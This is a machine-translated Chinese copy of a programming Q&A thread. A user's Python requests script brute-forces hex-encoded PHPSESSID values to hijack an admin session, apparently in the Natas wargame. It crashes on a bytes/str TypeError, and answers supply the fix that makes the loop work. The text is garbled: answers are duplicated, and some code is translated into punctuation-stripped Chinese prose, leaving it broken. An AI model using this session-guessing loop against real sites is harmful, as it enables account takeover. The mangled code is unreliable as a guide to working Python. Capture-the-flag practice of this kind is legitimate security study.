Python请求-Cookies错误

Python请求-Cookies错误,python,python-3.x,cookies,python-requests,Python,Python 3.x,Cookies,Python Requests,我试图通过发送随机cookie来强制执行会话,直到正确的cookie给我一个管理会话。我正在Windows10上使用Python3.6 我想要使用的cookie是PHPSESSID,我已经将它设置为一个十六进制编码的字符串,由-admin组成。该网站提供了一个十六进制编码的随机PHPSESSID,但每次刷新后只有“admin”的数字变化是一致的。源代码将数字最大化为640,因此是范围 代码如下: for x in range(1,641): if x % 10 == 0:

我试图通过发送随机cookie来强制执行会话,直到正确的cookie给我一个管理会话。我正在Windows10上使用Python3.6

我想要使用的cookie是PHPSESSID,我已经将它设置为一个十六进制编码的字符串,由-admin组成。该网站提供了一个十六进制编码的随机PHPSESSID,但每次刷新后只有“admin”的数字变化是一致的。源代码将数字最大化为640,因此是范围

代码如下:

for x in range(1,641):
    if x % 10 == 0:
        print (str(x) + ' Sessions Tested')
    cookies = dict(PHPSESSID=(binascii.hexlify(str(x).encode('ascii')+b'-admin')))
    r = requests.get(target, cookies=cookies)
    if r.text.find(trueStr) != -1:
        print ('Got it!')
在windows上运行脚本后,我收到以下错误:

Traceback (most recent call last):
  File "natas19.py", line 14, in <module>
    r = requests.get(target, cookies=cookies)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\api.py", line 72, in get
    return request('get', url, params=params, **kwargs)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\api.py", line 58, in request
    return session.request(method=method, url=url, **kwargs)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\sessions.py", line 494, in request
    prep = self.prepare_request(req)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\sessions.py", line 415, in prepare_request
    cookies = cookiejar_from_dict(cookies)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\cookies.py", line 518, in cookiejar_from_dict
    cookiejar.set_cookie(create_cookie(name, cookie_dict[name]))
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\cookies.py", line 345, in set_cookie
    if hasattr(cookie.value, 'startswith') and cookie.value.startswith('"') and cookie.value.endswith('"'):
TypeError: startswith first arg must be bytes or a tuple of bytes, not str
我不知道从哪里开始。我遵循python请求的文档。如果您对查找位置有任何建议,我们将不胜感激。

Cookie值必须是str对象,但binascii.hexlify会返回一个bytes对象:

首先解码:

cookies = {
    'PHPSESSID': binascii.hexlify(b'%d-admin' % x).decode('ascii')
}
Cookie值必须是str对象,但binascii.hexlify返回字节对象:

首先解码:

cookies = {
    'PHPSESSID': binascii.hexlify(b'%d-admin' % x).decode('ascii')
}
在您的示例中,cookies是由以下内容设置的dict:

如果您将该行程序的步骤分解,您将看到问题:

>>>binascii.hexlifystrx.encode'ascii'+b'-admin' b'312d61646d696e' >>>b'312d61646d696e'。从'3'开始 回溯最近一次呼叫上次: 文件,第1行,在 TypeError:startswith first arg必须是字节或字节元组,而不是str 您正在使用str first arg执行字节操作。因为它是管理cookie的请求包,所以在设置PHPSESSID之前将该值转换为str

对于1641范围内的x: 如果x%10==0: 打印strx+“已测试会话” b_sess_id=binascii.hexlifystrx.encode'ascii'+b'-admin' cookies=dictPHPSESSID=b_sess_id.decode r=requests.gettarget,cookies=cookies 如果r.text.findtrueStr!=-1: 打印“明白了!” 在您的示例中,cookies是由以下内容设置的dict:

如果您将该行程序的步骤分解,您将看到问题:

>>>binascii.hexlifystrx.encode'ascii'+b'-admin' b'312d61646d696e' >>>b'312d61646d696e'。从'3'开始 回溯最近一次呼叫上次: 文件,第1行,在 TypeError:startswith first arg必须是字节或字节元组,而不是str 您正在使用str first arg执行字节操作。因为它是管理cookie的请求包,所以在设置PHPSESSID之前将该值转换为str

对于1641范围内的x: 如果x%10==0: 打印strx+“已测试会话” b_sess_id=binascii.hexlifystrx.encode'ascii'+b'-admin' cookies=dictPHPSESSID=b_sess_id.decode r=requests.gettarget,cookies=cookies 如果r.text.findtrueStr!=-1: 打印“明白了!”
谢谢你的解释!我明白我做错了什么谢谢你的解释!我明白我做错了什么
dict(PHPSESSID=(binascii.hexlify(str(x).encode('ascii') + b'-admin')))